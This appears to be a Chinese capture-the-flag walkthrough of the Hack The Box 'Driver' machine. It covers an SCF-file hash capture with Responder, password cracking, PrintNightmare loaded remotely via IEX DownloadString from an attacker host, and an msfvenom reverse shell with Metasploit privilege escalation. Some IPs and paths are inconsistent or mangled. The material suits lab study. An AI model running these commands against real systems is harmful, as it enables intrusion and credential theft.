Driver
https://app.hackthebox.com/machines/Driver
受害者ip:10.10.10.8
攻击者ip:10.10.16.6
参考:https://www.secjuice.com/technical-htb-driver-walkthrough/
https://mp.weixin.qq.com/s/J-5oyvsoE2VAtfq9LemhjA
端口扫描
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.106 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//) nmap -p$ports -sC -sV 10.10.11.106
-p-:扫描目标主机的所有 65535 个端口。--min-rate=1000:设置最小发送数据包速率为 1000 个/秒,这可以加快扫描速度。-T4:使用加速时间模板(T4 是一个“积极扫描”模式,适合网络条件较好的情况)。10.10.11.106:目标主机的 IP 地址。
grep ^[0-9]过滤出扫描结果中以数字开头的行,这些行通常表示端口信息。 cut -d '/' -f 1使用 / 作为分隔符,仅提取端口号。 tr 'n' ','将提取到的端口号从多行转换为单行,并使用逗号连接。 sed s/,$//删除最后一个多余的逗号(,)
-sC
启用默认脚本扫描,运行一些常见的 Nmap 脚本(如获取服务信息、检查常见漏洞等)。
-sV
检测服务版本(如 SSH、HTTP 的具体版本号)
第一条命令: 快速扫描所有端口,提取开放端口号并存入变量 ports。
第二条命令: 使用 ports 中的端口列表,进行详细的服务和版本扫描。
开放有 80web端口,135/445 SMB 服务端口,5986 WinRM 服务端口
enum4linux -a 10.10.11.106
访问80需要登陆,弱口令admin/admin登陆成功,先随便输入弱口令看看能不能蒙对,接下来在爆破
hydra -l admin -P ../top1000.txt -u -e ns http-get://10.10.11.106/
-u强制每次尝试只使用单个用户名,而不是交替尝试多个用户名。 -e ns额外尝试: n:尝试空密码。 s:在密码后添加目标用户名。 这会增加测试的灵活性,尤其在目标有未设置密码或弱配置时
mfp固件更新中心
在底部发现[email protected]
suppport可能是用户名,将dirver.htb写入hosts中
先扫目录,并没有收获
这里可以任意文件上传,但是不知道会上传到哪里
scf攻击
https://www.ired.team/offensive-security/initial-access/t1187-forced-authentication?ref=secjuice.com
使用抓取hash
responder -w -I tun0
-w 启用 WPAD(Web Proxy Auto-Discovery Protocol) 攻击。 WPAD 是 Windows 用于自动检索代理地址的协议。如果目标设备尝试通过网络查找代理配置文件,Responder 会伪装为代理服务器,诱导目标设备发送身份验证请求。 -I tun0 指定监听的网络接口,这里是 tun0。 tun0 通常是运行 VPN 或隧道工具(如 OpenVPN)时的虚拟网络接口。 如果目标网络是通过 VPN 连接访问的,这个参数可以确保 Responder 正确监听目标流量
创建一个scf文件,写上自己的ip,路径随便填,然后上传
cat 666.scf[Shell] Command=2 IconFile=\10.10.16.2toolsnc.ico [Taskbar] Command=ToggleDesktop
上传后成功抓到NTLM hssh,并得知用户名为tony
爆破密码,得出tony/liltony
john --wordlist=/usr/share/wordlists/rockyou.txt hash
使用evil-winrm连接获得普通用户权限
evil-winrm -i 10.10.11.106 -u tony -p liltony
提权1
使用crackmapexec的spooler模块进行漏洞枚举,发现开启了spooler
crackmapexec smb -L | grep print
或者使用cmd查看
搜素关键字
https://github.com/calebstewart/CVE-2021-1675
下载后开启临时http服务
git clone https://github.com/calebstewart/CVE-2021-1675.git
python -m http.server 8080
远程加载脚本
IEX(New-Object Net.WebClient).DownloadString("http://10.10.16.2:8080/CVE-2021-1675.ps1")
使用脚本添加admin用户
Invoke-Nightmare -DriverName "DRIVER" -NewUser "admin" -NewPassword "admin@123"
此时的admin用户为Administrators权限
使用自己创建的账号密码直接登录,权限为Administrator
evil-winrm -i 10.10.11.106 -u admin -p admin@123
提权2
先生成小马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.2 LPORT=1111 -f exe > shell3.exe
msf启动并监听1111端口
msfconsole use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 10.10.16.2 set lport 1111 run
受害者这边下载shell3.exe,然后运行一下,msf那边立马上线(如果监听4444端口没有上线,换成其他端口就可以了)
upload shell3.exe C:Userstonydownloadsshell3.exe
./shell3.exe
输入ps,找到explorer迁移进程的pid,3180
迁移到3180
migrate 3180
但是实际上并没有效果,没找到NT AUTHORITYSYSTEM标识的进程。
bg将当前会话挂到后台,或者ctrl+y use multi/recon/local_exploit_suggester set session 1 run查看可能存在的漏洞建议
最后使用ricoh_driver_privesc模块提权成功
msf6 exploit(windows/local/tokenmagic) > use exploit/windows/local/ricoh_driver_privesc [*] Using configured payload windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/local/ricoh_driver_privesc) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/local/ricoh_driver_privesc) > set session 2 session => 2 msf6 exploit(windows/local/ricoh_driver_privesc) > set lhost 10.10.16.2 lhost => 10.10.16.2 msf6 exploit(windows/local/ricoh_driver_privesc) > run
原文始发于微信公众号(王之暴龙战神):Driver
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论